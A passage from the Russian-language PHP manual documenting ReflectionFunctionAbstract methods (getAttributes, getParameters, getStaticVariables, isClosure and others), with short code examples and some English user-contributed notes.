  • ReflectionFunctionAbstract::getNumberOfParameters — Получает количество параметров
  • ReflectionFunctionAbstract::getNumberOfRequiredParameters — Получает количество обязательных параметров
  • ReflectionFunctionAbstract::getParameters — Получает параметры
  • ReflectionFunctionAbstract::getReturnType — Получает объявленный тип возвращаемого функцией значения
  • ReflectionFunctionAbstract::getShortName — Получает короткое имя функции
  • ReflectionFunctionAbstract::getStartLine — Получает начальный номер строки
  • ReflectionFunctionAbstract::getStaticVariables — Получает статические переменные
  • ReflectionFunctionAbstract::getTentativeReturnType — Возвращает предварительный тип возвращаемого значения, связанный с функцией
  • ReflectionFunctionAbstract::hasReturnType — Проверяет, имеет ли функция объявленный тип возвращаемого значения
  • ReflectionFunctionAbstract::hasTentativeReturnType — Определяет, есть ли у функции предварительный тип возвращаемого значения
  • ReflectionFunctionAbstract::inNamespace — Проверяет, находится ли функция в пространстве имён
  • ReflectionFunctionAbstract::isClosure — Проверяет, является ли функция замыканием (Closure)
  • ReflectionFunctionAbstract::isDeprecated — Проверяет, является ли функция устаревшей
  • ReflectionFunctionAbstract::isGenerator — Проверяет, является ли функция генератором
  • ReflectionFunctionAbstract::isInternal — Проверяет, является ли функция внутренней
  • ReflectionFunctionAbstract::isStatic — Проверяет, является ли функция статической
  • ReflectionFunctionAbstract::isUserDefined — Проверяет, является ли функция определённой пользователем
  • ReflectionFunctionAbstract::isVariadic — Проверяет, является ли функция функцией с переменным числом аргументов
  • ReflectionFunctionAbstract::returnsReference — Проверяет, что функция возвращает ссылку
  • ReflectionFunctionAbstract::__toString — Возвращает строковое представление объекта ReflectionFunctionAbstract

User Contributed Notes

There are no user contributed notes for this page.


Клонирует функцию

  • « ReflectionFunctionAbstract
  • ReflectionFunctionAbstract::getAttributes »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Клонирует функцию

ReflectionFunctionAbstract::__clone

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::__clone — Клонирует функцию

Описание

private ReflectionFunctionAbstract::__clone(): void

Копирует функцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.1.0 | Метод больше не является окончательным (final).

Смотрите также

  • Копирование объектов

User Contributed Notes

There are no user contributed notes for this page.


Получает атрибуты

  • « ReflectionFunctionAbstract::__clone
  • ReflectionFunctionAbstract::getClosureScopeClass »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает атрибуты

ReflectionFunctionAbstract::getAttributes

(PHP 8)

ReflectionFunctionAbstract::getAttributes — Получает атрибуты

Описание

public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array

Возвращает все атрибуты, объявленные для этой функции или метода, в виде массива ReflectionAttribute.

Список параметров

name

Параметр отфильтрует результаты, чтобы включить экземпляры отражений ReflectionAttribute только тех атрибутов, чьи имена совпадают с заданным именем класса.

flags

Флаги для определения способа фильтрации результатов, если указан параметр name.

По умолчанию значение 0, которое возвращает результаты только для атрибутов, которые относятся к классу name.

Единственное доступное значение — константа ReflectionAttribute::IS_INSTANCEOF, которая вместо этого будет использовать для фильтрации оператор instanceof.

Возвращаемые значения

Массив атрибутов в виде объекта ReflectionAttribute.

Примеры

Пример #1 Простой пример с методом класса

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Factory {
#[Fruit]
#[Red]
public function makeApple(): string
{
return 'apple';
}
}

$method = new ReflectionMethod('Factory', 'makeApple');
$attributes = $method->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
    [1] => Red
)

Пример #2 Простой пример с функцией

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
function makeApple(): string
{
return 'apple';
}

$function = new ReflectionFunction('makeApple');
$attributes = $function->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
    [1] => Red
)

Пример #3 Фильтрация результатов по имени класса

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
function makeApple(): string
{
return 'apple';
}

$function = new ReflectionFunction('makeApple');
$attributes = $function->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
)

Пример #4 Фильтрация результатов по имени класса, с наследованием

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

#[Fruit]
#[Red]
function makeApple(): string
{
return 'apple';
}

$function = new ReflectionFunction('makeApple');
$attributes = $function->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Red
)

Смотрите также

  • ReflectionClass::getAttributes() - Получает атрибуты
  • ReflectionClassConstant::getAttributes() - Получает атрибуты
  • ReflectionParameter::getAttributes() - Получает атрибуты
  • ReflectionProperty::getAttributes() - Получает атрибуты

User Contributed Notes

There are no user contributed notes for this page.


Возвращает класс в рамках которого было объявлено замыкание

  • « ReflectionFunctionAbstract::getAttributes
  • ReflectionFunctionAbstract::getClosureThis »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Возвращает класс в рамках которого было объявлено замыкание

ReflectionFunctionAbstract::getClosureScopeClass

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getClosureScopeClass — Возвращает класс в рамках которого было объявлено замыкание

Описание

public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass

Получает класс в рамках которого было объявлено замыкание.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает класс в случае успешного выполнения или null, если функция не является замыканием или если не было класса, в рамках которого объявлено замыкание.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает указатель, привязанный к замыканию

  • « ReflectionFunctionAbstract::getClosureScopeClass
  • ReflectionFunctionAbstract::getClosureUsedVariables »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Возвращает указатель, привязанный к замыканию

ReflectionFunctionAbstract::getClosureThis

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getClosureThis — Возвращает указатель, привязанный к замыканию

Описание

public ReflectionFunctionAbstract::getClosureThis(): ?object

Получает объект, связанный с $this внутри замыкания, если функция является нестатическим замыканием.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает указатель $this. Возвращает null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив используемых в замыкании переменных

  • « ReflectionFunctionAbstract::getClosureThis
  • ReflectionFunctionAbstract::getDocComment »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Возвращает массив используемых в замыкании переменных

ReflectionFunctionAbstract::getClosureUsedVariables

(PHP 8 >= 8.1.0)

ReflectionFunctionAbstract::getClosureUsedVariables — Возвращает массив используемых в замыкании переменных

Описание

public ReflectionFunctionAbstract::getClosureUsedVariables(): array

Возвращает массив (array) используемых в Closure переменных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив (array) используемых в Closure переменных.

Примеры

Пример #1 Пример использования ReflectionFunctionAbstract::getClosureUsedVariables()

<?php

$one = 1;
$two = 2;

$function = function() use ($one, $two) {
static $three = 3;
};

$reflector = new ReflectionFunction($function);

var_dump($reflector->getClosureUsedVariables());
?>

Вывод приведённого примера будет похож на:

array(2) {
  ["one"]=>
  int(1)
  ["two"]=>
  int(2)
}

Смотрите также

  • ReflectionFunctionAbstract::getClosureScopeClass() - Возвращает класс в рамках которого было объявлено замыкание
  • ReflectionFunctionAbstract::getClosureThis() - Возвращает указатель, привязанный к замыканию

User Contributed Notes

There are no user contributed notes for this page.


Получает doc-комментарий

  • « ReflectionFunctionAbstract::getClosureUsedVariables
  • ReflectionFunctionAbstract::getEndLine »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает doc-комментарий

ReflectionFunctionAbstract::getDocComment

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — Получает doc-комментарий

Описание

public ReflectionFunctionAbstract::getDocComment(): string|false

Получает doc-комментарий из описания функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Комментарий, если он есть, false в противном случае.

Смотрите также

  • ReflectionFunctionAbstract::getStartLine() - Получает начальный номер строки

User Contributed Notes

jens dot kohl+php at gmail dot com 26-Mar-2012 11:19
Beware when you try to use the getDocComment() methods with eAccelerator turned on. eAccelerator »optimizes« your code in a way that it removes any comments from your source. So at runtime you're not able to get any comments and therefor getDocComments return false.
bruno at vault7 dot com 12-Nov-2009 11:09
In order to retrieve a comment with this method, the comment must be imediately before the class, function or method, start with /** and end with */


Получает номер строки завершения описания функции

  • « ReflectionFunctionAbstract::getDocComment
  • ReflectionFunctionAbstract::getExtension »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает номер строки завершения описания функции

ReflectionFunctionAbstract::getEndLine

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getEndLine — Получает номер строки завершения описания функции

Описание

public ReflectionFunctionAbstract::getEndLine(): int|false

Получает номер строки завершения описания функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Номер последней строки описания определённой пользователем функции или false, если он неизвестен.

Смотрите также

  • ReflectionFunctionAbstract::getStartLine() - Получает начальный номер строки

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о модуле

  • « ReflectionFunctionAbstract::getEndLine
  • ReflectionFunctionAbstract::getExtensionName »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает информацию о модуле

ReflectionFunctionAbstract::getExtension

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getExtension — Получает информацию о модуле

Описание

public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension

Получение информации о модуле, в состав которого входит функция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Информация о модуле в виде объекта ReflectionExtension или null для пользовательских функций.

Смотрите также

  • ReflectionFunctionAbstract::getExtensionName() - Получение имени модуля

User Contributed Notes

There are no user contributed notes for this page.


Получение имени модуля

  • « ReflectionFunctionAbstract::getExtension
  • ReflectionFunctionAbstract::getFileName »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получение имени модуля

ReflectionFunctionAbstract::getExtensionName

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getExtensionName — Получение имени модуля

Описание

public ReflectionFunctionAbstract::getExtensionName(): string|false

Получение имени модуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя модуля или false для пользовательских функций.

Смотрите также

  • ReflectionFunctionAbstract::getExtension() - Получает информацию о модуле

User Contributed Notes

There are no user contributed notes for this page.


Получает имя файла

  • « ReflectionFunctionAbstract::getExtensionName
  • ReflectionFunctionAbstract::getName »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает имя файла

ReflectionFunctionAbstract::getFileName

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getFileName — Получает имя файла

Описание

public ReflectionFunctionAbstract::getFileName(): string|false

Получает имя файла из определённой пользователем функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла, в котором была определена функция. Возвращает false, если класс определён в ядре PHP или в модуле PHP.

Смотрите также

  • ReflectionFunctionAbstract::getNamespaceName() - Получение имени пространства имён

User Contributed Notes

stein at visibone dot com 04-Jul-2013 10:53
Returns FALSE for an internal function (when isInternal() returns TRUE, e.g. for 'strlen').


Получает имя функции

  • « ReflectionFunctionAbstract::getFileName
  • ReflectionFunctionAbstract::getNamespaceName »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает имя функции

ReflectionFunctionAbstract::getName

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getName — Получает имя функции

Описание

public ReflectionFunctionAbstract::getName(): string

Получение имени функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя функции.

Смотрите также

  • ReflectionFunctionAbstract::getExtensionName() - Получение имени модуля
  • ReflectionFunctionAbstract::isUserDefined() - Проверяет, является ли функция определённой пользователем

User Contributed Notes

PR 14-Feb-2021 01:28
If you call getName() on an anonymous function you'll get "{closure}".


Получение имени пространства имён

  • « ReflectionFunctionAbstract::getName
  • ReflectionFunctionAbstract::getNumberOfParameters »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получение имени пространства имён

ReflectionFunctionAbstract::getNamespaceName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getNamespaceName — Получение имени пространства имён

Описание

public ReflectionFunctionAbstract::getNamespaceName(): string

Получение имени пространства имён, в котором определён класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя пространства имён.

Смотрите также

  • ReflectionFunctionAbstract::getFileName() - Получает имя файла
  • пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Получает количество параметров

  • « ReflectionFunctionAbstract::getNamespaceName
  • ReflectionFunctionAbstract::getNumberOfRequiredParameters »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает количество параметров

ReflectionFunctionAbstract::getNumberOfParameters

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getNumberOfParameters — Получает количество параметров

Описание

public ReflectionFunctionAbstract::getNumberOfParameters(): int

Получение количества параметров в определении функции как обязательных, так и опциональных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество параметров.

Смотрите также

  • ReflectionFunctionAbstract::getNumberOfRequiredParameters() - Получает количество обязательных параметров
  • func_num_args() - Возвращает количество аргументов, переданных функции

User Contributed Notes

8ctopus 23-Nov-2020 08:26
$reflection = new ReflectionFunction('implode');
echo $reflection->getNumberOfParameters();
Robert Pitt ( LitePHP ) 11-Apr-2010 03:42
Working on a new MVC Application Framework i use this method to check how many arguments are required before calling the sub method!

Example

<?php
        $this->method_args_count = $this->CReflection
            ->getMethod($Route->getMethod())
            ->getNumberOfParameters();
        //Maybe be 5 but if uri is /controller/method/single_param/ we only of 1
        $this->params = $Route->getParams(); //0 in some cases

        if($this->method_args_count > count($this->params))
        {
            $this->difference = ($this->method_args_count - count($this->params));
            for($i=0;$i<=$this->difference;$i++)
            {
                $this->params[] = false;
            }
        }

        //Call the method with correct amount of params
        // but as false for params that have not been passed!
        call_user_func_array(array(new $this->obj,$Route->getMethod()),$this->params);
?>


Получает количество обязательных параметров

  • « ReflectionFunctionAbstract::getNumberOfParameters
  • ReflectionFunctionAbstract::getParameters »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает количество обязательных параметров

ReflectionFunctionAbstract::getNumberOfRequiredParameters

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getNumberOfRequiredParameters — Получает количество обязательных параметров

Описание

public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int

Получение числа обязательных параметров в определении функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Число обязательных параметров.

Смотрите также

  • ReflectionFunctionAbstract::getNumberOfParameters() - Получает количество параметров

User Contributed Notes

cesar at magic3w dot com 07-Jul-2015 12:45
It's interesting to note that this function will treat optional parameters that come before a required parameter as required too. This is good since it allows you to verify that the function will be receiving enough parameters for the it to work, regardless where they are located.

<?php

class MyTest() {
    public function test($a = null, $b) {}
    public function test2($a = null, $b, $c = null) {}
}

//Create the reflection
$r  = new \ReflectionMethod('MyTest', 'test');
$r2 = new \ReflectionMethod('MyTest', 'test2');

//Verify the numbers
echo 'Test: ' . $r->getNumberOfRequiredParameters()); //Output: 2
echo 'Test2: ' . $r->getNumberOfRequiredParameters()); //Output: 2

?>
sebastian at sebastian-eiweleit dot de 02-Sep-2013 03:03
<?php
namespace ExampleWorld;
// The Class
class helloWorld {
    /* Method with two required arguments */

    public function requiredTwoArguments ( $var1, $var2 ) {
        // Some code ...
    }

    /* Method with two arguments, but just one is required */
    public function requiredOneArgument ( $var1, $var2 = false ) {
        // Some code ...
    }
}

$r = new \ReflectionMethod ( 'ExampleWorld\helloWorld', 'requiredTwoArguments' );
echo $r->getNumberOfRequiredParameters ();

$r = new \ReflectionMethod ( 'ExampleWorld\helloWorld', 'requiredOneArgument' );
echo $r->getNumberOfRequiredParameters ();

// Output: 2 1


Получает параметры

  • « ReflectionFunctionAbstract::getNumberOfRequiredParameters
  • ReflectionFunctionAbstract::getReturnType »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает параметры

ReflectionFunctionAbstract::getParameters

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getParameters — Получает параметры

Описание

public ReflectionFunctionAbstract::getParameters(): array

Получение параметров в виде массива объектов ReflectionParameter в том порядке, в котором они определены в источнике.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Параметры, представленные объектами ReflectionParameter.

Смотрите также

  • ReflectionFunctionAbstract::getNumberOfParameters() - Получает количество параметров
  • func_get_args() - Возвращает массив, который содержит список аргументов функции

User Contributed Notes

a dot lucassilvadeoliveira at gmail dot com 28-Nov-2020 06:08
We can use this functionality to automatically pass arguments to our function based on some data structure.

NOTE: I am using a php 8.0> feature called "Nameds parameter".

<?php

$valuesToProcess = [
  'name' => 'Anderson Lucas Silva de Oliveira',
  'age' => 21,
  'hobbie' => 'Play games'
];

function processUserData($name, $age, $job = "", $hobbie = "")
{
    $msg = "Hello $name. You have $age years old";
    if (!empty($job)) {
    $msg .= ". Your job is $job";
    }

    if (!empty($hobbie)) {
        $msg .= ". Your hobbie is $hobbie";
    }

    echo $msg . ".";
}

$refFunction = new ReflectionFunction('processUserData');
$parameters = $refFunction->getParameters();

$validParameters = [];
foreach ($parameters as $parameter) {
    if (!array_key_exists($parameter->getName(), $valuesToProcess) && !$parameter->isOptional()) {
        throw new DomainException('Cannot resolve the parameter' . $parameter->getName());
    }

    if(!array_key_exists($parameter->getName(), $valuesToProcess)) {
        continue;
    }

    $validParameters[$parameter->getName()] = $valuesToProcess[$parameter->getName()];
}

$refFunction->invoke(...$validParameters);
?>

Results in:

Hello Anderson Lucas Silva de Oliveira. You have 21 years old. Your hobbie is Play games.
dabidi at slupca dot pl 27-Oct-2015 01:33
This is part of my private framework that uses reflection.
This function get arguments list from theme method and puts corresponding vars from $_REQUEST ($_GET, $_POST, and $_COOKIE)

<?php
public static function fire_theme_method($class, $method)
{
        $fire_args=array();

        $reflection = new ReflectionMethod($class, $method);

    foreach($reflection->getParameters() AS $arg)
    {
        if($_REQUEST[$arg->name])
        $fire_args[$arg->name]=$_REQUEST[$arg->name];
        else
        $fire_args[$arg->name]=null;
    }

    return call_user_func_array(array($class, $method), $fire_args);
}
?>
For example, if my theme method needs only id, and we get this url:
http://example.com/my_class/my_method/?id=12&some_unwanted_var=123
will be ignored some_unwanted_var

Of course behind this i have .htaccess, autoloader and controller


Получает объявленный тип возвращаемого функцией значения

  • « ReflectionFunctionAbstract::getParameters
  • ReflectionFunctionAbstract::getShortName »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает объявленный тип возвращаемого функцией значения

ReflectionFunctionAbstract::getReturnType

(PHP 7, PHP 8)

ReflectionFunctionAbstract::getReturnType — Получает объявленный тип возвращаемого функцией значения

Описание

public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType

Получает объявленный тип возвращаемого функцией значения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект класса ReflectionType, если у функции объявлен тип возвращаемого значения, null в противном случае.

Примеры

Пример #1 Пример ReflectionFunctionAbstract::getReturnType()

<?php

function to_int($param) : int {
return (int) $param;
}

$reflection1 = new ReflectionFunction('to_int');
echo $reflection1->getReturnType();

Результат выполнения приведённого примера:

int

Пример #2 Применение к встроенным функциям

<?php

$reflection2 = new ReflectionFunction('array_merge');

var_dump($reflection2->getReturnType());

Результат выполнения приведённого примера:

null

Это происходит из-за того, что многие внутренние функции не имеют объявленных типов для аргументов или возвращаемого значения. Поэтому лучше избегать использование данного метода на встроенных функциях.

Смотрите также

  • ReflectionFunctionAbstract::hasReturnType() - Проверяет, имеет ли функция объявленный тип возвращаемого значения
  • ReflectionType::__toString() - Получает название типа параметра

User Contributed Notes

There are no user contributed notes for this page.


Получает короткое имя функции

  • « ReflectionFunctionAbstract::getReturnType
  • ReflectionFunctionAbstract::getStartLine »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает короткое имя функции

ReflectionFunctionAbstract::getShortName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getShortName — Получает короткое имя функции

Описание

public ReflectionFunctionAbstract::getShortName(): string

Получение короткого имени функции (без указания пространства имён).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Короткое имя функции.

Смотрите также

  • ReflectionFunctionAbstract::getNamespaceName() - Получение имени пространства имён
  • пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Получает начальный номер строки

  • « ReflectionFunctionAbstract::getShortName
  • ReflectionFunctionAbstract::getStaticVariables »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает начальный номер строки

ReflectionFunctionAbstract::getStartLine

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getStartLine — Получает начальный номер строки

Описание

public ReflectionFunctionAbstract::getStartLine(): int|false

Получение номера строки начала описания функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Стартовый номер строки или false, если неизвестно.

Смотрите также

  • ReflectionFunctionAbstract::getEndLine() - Получает номер строки завершения описания функции

User Contributed Notes

There are no user contributed notes for this page.


Получает статические переменные

  • « ReflectionFunctionAbstract::getStartLine
  • ReflectionFunctionAbstract::getTentativeReturnType »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Получает статические переменные

ReflectionFunctionAbstract::getStaticVariables

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getStaticVariables — Получает статические переменные

Описание

public ReflectionFunctionAbstract::getStaticVariables(): array

Получение статических переменных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) статических переменных.

Смотрите также

  • ReflectionFunctionAbstract::getParameters() - Получает параметры

User Contributed Notes

Martiros Aghajanyan 11-Oct-2014 01:27
<?php

function test()
{
    static $a = 0, $b = 15;
    $a++;
    $b++;
    return $a;
}

$rf = new ReflectionFunction('test');

// result - Array ( [a] => 0 [b] => 15 )
print_r( $rf->getStaticVariables() );

//call test function and print again static variables
test();

// result - Array ( [a] => 1 [b] => 16 )
print_r( $rf->getStaticVariables() );

?>


Возвращает предварительный тип возвращаемого значения, связанный с функцией

  • « ReflectionFunctionAbstract::getStaticVariables
  • ReflectionFunctionAbstract::hasReturnType »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Возвращает предварительный тип возвращаемого значения, связанный с функцией

ReflectionFunctionAbstract::getTentativeReturnType

(PHP 8 >= 8.1.0)

ReflectionFunctionAbstract::getTentativeReturnType — Возвращает предварительный тип возвращаемого значения, связанный с функцией

Описание

public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType

Возвращает предварительный тип возвращаемого значения, связанный с функцией.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект ReflectionType, если указан предварительный тип возвращаемого значения, в противном случае возвращает null.

Примеры

Пример #1 Пример использования ReflectionFunctionAbstract::getTentativeReturnType()

<?php

$method = new ReflectionMethod(\ArrayAccess::class, 'offsetGet');
var_dump($method->getTentativeReturnType());

Вывод приведённого примера будет похож на:

object(ReflectionNamedType)#2 (0) {
}

Смотрите также

  • ReflectionFunctionAbstract::getReturnType() - Получает объявленный тип возвращаемого функцией значения
  • ReflectionFunctionAbstract::hasTentativeReturnType() - Определяет, есть ли у функции предварительный тип возвращаемого значения
  • Совместимость типов возвращаемых значений с внутренними классами

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, имеет ли функция объявленный тип возвращаемого значения

  • « ReflectionFunctionAbstract::getTentativeReturnType
  • ReflectionFunctionAbstract::hasTentativeReturnType »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, имеет ли функция объявленный тип возвращаемого значения

ReflectionFunctionAbstract::hasReturnType

(PHP 7, PHP 8)

ReflectionFunctionAbstract::hasReturnType — Проверяет, имеет ли функция объявленный тип возвращаемого значения

Описание

public ReflectionFunctionAbstract::hasReturnType(): bool

Проверяет, имеет ли функция объявленный тип возвращаемого значения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если функция имеет объявленный тип возвращаемого значения, false в противном случае.

Примеры

Пример #1 Пример ReflectionFunctionAbstract::hasReturnType()

<?php

function to_int($param) : int {
return (int) $param;
}

$reflection1 = new ReflectionFunction('to_int');
var_dump($reflection1->hasReturnType());

Результат выполнения приведённого примера:

bool(true)

Пример #2 Применение к встроенным функциям

<?php

$reflection2 = new ReflectionFunction('array_merge');

var_dump($reflection2->hasReturnType());

Результат выполнения приведённого примера:

bool(false)

Это происходит из-за того, что многие внутренние функции не имеют объявленных типов для аргументов или возвращаемого значения. Поэтому лучше избегать использование данного метода на внутренних функциях.

Смотрите также

  • ReflectionFunctionAbstract::getReturnType() - Получает объявленный тип возвращаемого функцией значения

User Contributed Notes

There are no user contributed notes for this page.


Определяет, есть ли у функции предварительный тип возвращаемого значения

  • « ReflectionFunctionAbstract::hasReturnType
  • ReflectionFunctionAbstract::inNamespace »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Определяет, есть ли у функции предварительный тип возвращаемого значения

ReflectionFunctionAbstract::hasTentativeReturnType

(PHP 8 >= 8.1.0)

ReflectionFunctionAbstract::hasTentativeReturnType — Определяет, есть ли у функции предварительный тип возвращаемого значения

Описание

public ReflectionFunctionAbstract::hasTentativeReturnType(): bool

Определяет, есть ли у функции предварительный тип возвращаемого значения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если у функции есть предварительный тип возвращаемого значения, в противном случае возвращает false.

Примеры

Пример #1 Пример использования ReflectionFunctionAbstract::hasTentativeReturnType()

<?php

$method = new ReflectionMethod(\ArrayAccess::class, 'offsetGet');
var_dump($method->hasTentativeReturnType());

Результат выполнения приведённого примера:

bool(true)

Смотрите также

  • ReflectionFunctionAbstract::getTentativeReturnType() - Возвращает предварительный тип возвращаемого значения, связанный с функцией
  • ReflectionFunctionAbstract::hasReturnType() - Проверяет, имеет ли функция объявленный тип возвращаемого значения
  • Совместимость типов возвращаемых значений с внутренними классами

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, находится ли функция в пространстве имён

  • « ReflectionFunctionAbstract::hasTentativeReturnType
  • ReflectionFunctionAbstract::isClosure »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, находится ли функция в пространстве имён

ReflectionFunctionAbstract::inNamespace

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::inNamespace — Проверяет, находится ли функция в пространстве имён

Описание

public ReflectionFunctionAbstract::inNamespace(): bool

Проверяет, что функция определена в пространстве имён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если функция определена в пространстве имён, false в противном случае.

Смотрите также

  • ReflectionFunctionAbstract::getNamespaceName() - Получение имени пространства имён
  • пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция замыканием (Closure)

  • « ReflectionFunctionAbstract::inNamespace
  • ReflectionFunctionAbstract::isDeprecated »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция замыканием (Closure)

ReflectionFunctionAbstract::isClosure

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isClosure — Проверяет, является ли функция замыканием (Closure)

Описание

public ReflectionFunctionAbstract::isClosure(): bool

Проверка, является ли функция замыканием.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если функция является замыканием (Closure), false в противном случае.

Примеры

Пример #1 Пример использования метода ReflectionFunctionAbstract::isClosure()

<?php
// Не замыкание
$function1 = 'str_replace';
$reflection1 = new ReflectionFunction($function1);
var_dump($reflection1->isClosure());

// Замыкание
$function2 = function () {};
$reflection2 = new ReflectionFunction($function2);
var_dump($reflection2->isClosure());
?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionFunctionAbstract::isGenerator() - Проверяет, является ли функция генератором

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция устаревшей

  • « ReflectionFunctionAbstract::isClosure
  • ReflectionFunctionAbstract::isGenerator »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция устаревшей

ReflectionFunctionAbstract::isDeprecated

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isDeprecated — Проверяет, является ли функция устаревшей

Описание

public ReflectionFunctionAbstract::isDeprecated(): bool

Проверяет, является ли функция устаревшей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если функция устарела, false в противном случае.

Примеры

Пример #1 Пример использования ReflectionFunctionAbstract::isDeprecated()

<?php
$rf = new ReflectionFunction('ereg');
var_dump($rf->isDeprecated());
?>

Результат выполнения приведённого примера:

bool(true)

Смотрите также

  • ReflectionFunctionAbstract::getDocComment() - Получает doc-комментарий

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли функция генератором

  • « ReflectionFunctionAbstract::isDeprecated
  • ReflectionFunctionAbstract::isInternal »
  • PHP Manual
  • ReflectionFunctionAbstract
  • Проверяет, является ли функция генератором

ReflectionFunctionAbstract::isGenerator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isGenerator — Проверяет, является ли функция генератором

Описание

public ReflectionFunctionAbstract::isGenerator(): bool

